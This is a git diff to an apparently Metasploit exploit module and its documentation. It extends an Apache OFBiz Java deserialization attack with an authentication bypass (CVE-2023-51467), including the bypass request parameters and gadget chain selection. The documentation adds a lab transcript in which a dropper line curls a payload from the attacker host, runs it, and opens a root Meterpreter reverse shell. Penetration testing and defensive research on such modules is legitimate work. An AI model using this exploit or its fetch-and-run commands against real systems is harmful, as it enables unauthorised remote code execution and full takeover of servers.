diff --git a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md index a7df22f846b5..33dd7170e054 100644 --- a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md +++ b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md @@ -4,14 +4,25 @@ This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for -versions prior to 17.12.04. +versions prior to 17.12.01 using the `ROME` gadget chain. + +Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 +and use the `CommonsBeanutils1` gadget chain. + +Verified working on 18.12.09, 17.12.01, and 15.12 ### Setup +#### 15.12 + You can use . 1. Initialize the database with demo data (`INIT_DB=2`) and bind to ports 8080 and 8443 - * `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12` + * `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12` + +#### 18.12.09 + +`docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 vulhub/ofbiz:18.12.09` ## Verification Steps @@ -27,9 +38,11 @@ This executes a Unix command. This uses a Linux dropper to execute code. +## Options + ## Scenarios -### Apache OFBiz from [Docker](#setup). +### Apache OFBiz from [Docker](#setup) 15.12. ``` msf6 > use exploit/linux/http/apache_ofbiz_deserialization @@ -101,3 +114,50 @@ BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > ``` + +### Apache OFBiz from [Docker](#setup) 18.12.09. + +``` +[msf](Jobs:0 Agents:0) > use exploit/linux/http/apache_ofbiz_deserialization +[*] Using configured payload linux/x64/meterpreter_reverse_https +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set ssl false +[!] Changing the SSL option's value may require changing RPORT! +ssl => false +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rport 8080 +rport => 8080 +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set srvport 8999 +srvport => 8999 +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lport 9999 +lport => 9999 +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lhost 172.17.0.1 +lhost => 172.17.0.1 +[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > exploit + +[*] Started HTTPS reverse handler on https://172.17.0.1:9999 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Apache OFBiz detected +[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https +[*] Using URL: http://172.17.0.1:8999/t8Ht92vyG +[*] Client 172.17.0.2 (curl/7.74.0) requested /t8Ht92vyG +[*] Sending payload to 172.17.0.2 (curl/7.74.0) +[+] Successfully executed command: curl -so /tmp/ccOiSBWw http://172.17.0.1:8999/t8Ht92vyG;chmod +x /tmp/ccOiSBWw;/tmp/ccOiSBWw;rm -f /tmp/ccOiSBWw +[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwc954AkmwDFJGPdMCAemNwEhbK9MZE1sbFjd87crw4EoQ8IRya-nD4j7s9vkiPXENKkm6Hai6rTX1l6MxXV with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0' +[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwBlG7PmcChFTs3mrZWe19ux0Ge4-K3sXMWLGzskiOvEJN9O34cT2vhArtS36BI-SM8HDCBKggdyux0 with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0' +[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwS1jEDX4_Jx7YDDvUtpywgCk with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0' +[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Attaching orphaned/stageless session... +[*] Command Stager progress - 100.00% done (112/112 bytes) +[*] Meterpreter session 1 opened (172.17.0.1:9999 -> 172.17.0.2:47500) at 2024-01-16 20:04:06 -0500 +[*] Server stopped. + +(Meterpreter 1)(/usr/src/apache-ofbiz) > getuid +Server username: root +(Meterpreter 1)(/usr/src/apache-ofbiz) > sysinfo +Computer : 172.17.0.2 +OS : Debian 11.4 (Linux 6.5.0-kali3-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/usr/src/apache-ofbiz) > +``` \ No newline at end of file diff --git a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb index fc2a453b82d8..1587cf208251 100644 --- a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb +++ b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb @@ -20,17 +20,26 @@ def initialize(info = {}) 'Description' => %q{ This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for - versions prior to 17.12.04. + versions prior to 17.12.01 using the ROME gadget chain. + + Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 + and use the CommonsBeanutils1 gadget chain. + + Verified working on 18.12.09, 17.12.01, and 15.12 }, 'Author' => [ 'Alvaro Muñoz', # Discovery - 'wvu' # Exploit + 'wvu', # Exploit + 'h00die' # cve-2023-49070 ], 'References' => [ ['CVE', '2020-9496'], + ['CVE', '2023-49070'], # auth bypass update + ['CVE', '2023-51467'], # auth bypass update ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz'], ['URL', 'https://ofbiz.apache.org/release-notes-17.12.04.html'], - ['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716'] + ['URL', 'https://issues.apache.org/jira/browse/OFBIZ-11716'], + ['URL', 'https://blog.sonicwall.com/en-us/2023/12/sonicwall-discovers-critical-apache-ofbiz-zero-day-authbiz/'] # auth bypass ], 'DisclosureDate' => '2020-07-13', # Vendor release note 'License' => MSF_LICENSE, @@ -76,26 +85,53 @@ def initialize(info = {}) register_options([ Opt::RPORT(8443), - OptString.new('TARGETURI', [true, 'Base path', '/']) + OptString.new('TARGETURI', [true, 'Base path', '/']), ]) end + # attempt to determine the version number. This attempt is flawed on versions + # < 17. 17+ has the Release on the /webtools/control/xmlrpc page. This page + # doesn't exist on versions < 17, so we just return back 'pre-17' + def version_from_login_page + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc') + }) + return nil if res.nil? + return 'pre-17' unless res.code == 200 + # https://rubular.com/r/vputt9uJecevOk + if res.body =~ %r{Apache OFBiz\. Release\s+(?:release)?([\d.]+)} + return Regexp.last_match(1).strip + end + + 'unknown' + end + def check # Send an empty serialized object res = send_request_xmlrpc('') - unless res - return CheckCode::Unknown('Target did not respond to check.') - end + return CheckCode::Unknown('Target did not respond to check.') unless res if res.body.include?('Failed to read result object: null') + @version = 'pre-17' return CheckCode::Vulnerable('Target can deserialize arbitrary data.') end - CheckCode::Safe('Target cannot deserialize arbitrary data.') + # newer @versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz + @version = version_from_login_page + + return CheckCode::Unknown('Target did not respond to check.') if @version.nil? + return CheckCode::Unknown('Target version could not be determined') if @version == 'unknown' + + return CheckCode::Appears('Apache OFBiz pre version 17 detected') if @version == 'pre-17' + return CheckCode::Appears("Apache OFBiz version #{@version} detected") if Rex::Version.new(@version) < Rex::Version.new('18.12.11') + + CheckCode::Safe("Apache OFBiz version #{@version} detected, and is unexploitable") end def exploit + @version = version_from_login_page if @version.nil? + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] @@ -109,10 +145,21 @@ def exploit def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") - res = send_request_xmlrpc( - # framework/webapp/lib/rome-0.9.jar - generate_java_deserialization_for_command('ROME', 'bash', cmd) - ) + if @version == 'pre-17' + vprint_status('Utilizing ROME deserialization chain') + res = send_request_xmlrpc( + # framework/webapp/lib/rome-0.9.jar + # used with 15.12, but not 18.12 compatible + generate_java_deserialization_for_command('ROME', 'bash', cmd) + ) + else + vprint_status('Utilizing CommonsBeanutils1 deserialization chain') + res = send_request_xmlrpc( + # framework/webapp/lib/rome-0.9.jar + # used with 18.12 compatible, but not 15.12 compatible + generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both + ) + end unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "Failed to execute command: #{cmd}") @@ -124,7 +171,7 @@ def execute_command(cmd, _opts = {}) def send_request_xmlrpc(data) # http://xmlrpc.com/ # https://ws.apache.org/xmlrpc/ - send_request_cgi( + request = { 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc'), 'ctype' => 'text/xml', @@ -148,7 +195,18 @@ def send_request_xmlrpc(data) XML - ) + } + + unless @version == 'pre-17' + request['uri'] = normalize_uri(target_uri.path, '/webtools/control/xmlrpc;/') # tack on ;/ + request['vars_get'] = { + 'USERNAME' => '', + 'PASSWORD' => rand_text_alphanumeric(1..5), + 'requirePasswordChange' => 'Y' # magic bypass string + } + end + + send_request_cgi(request) end end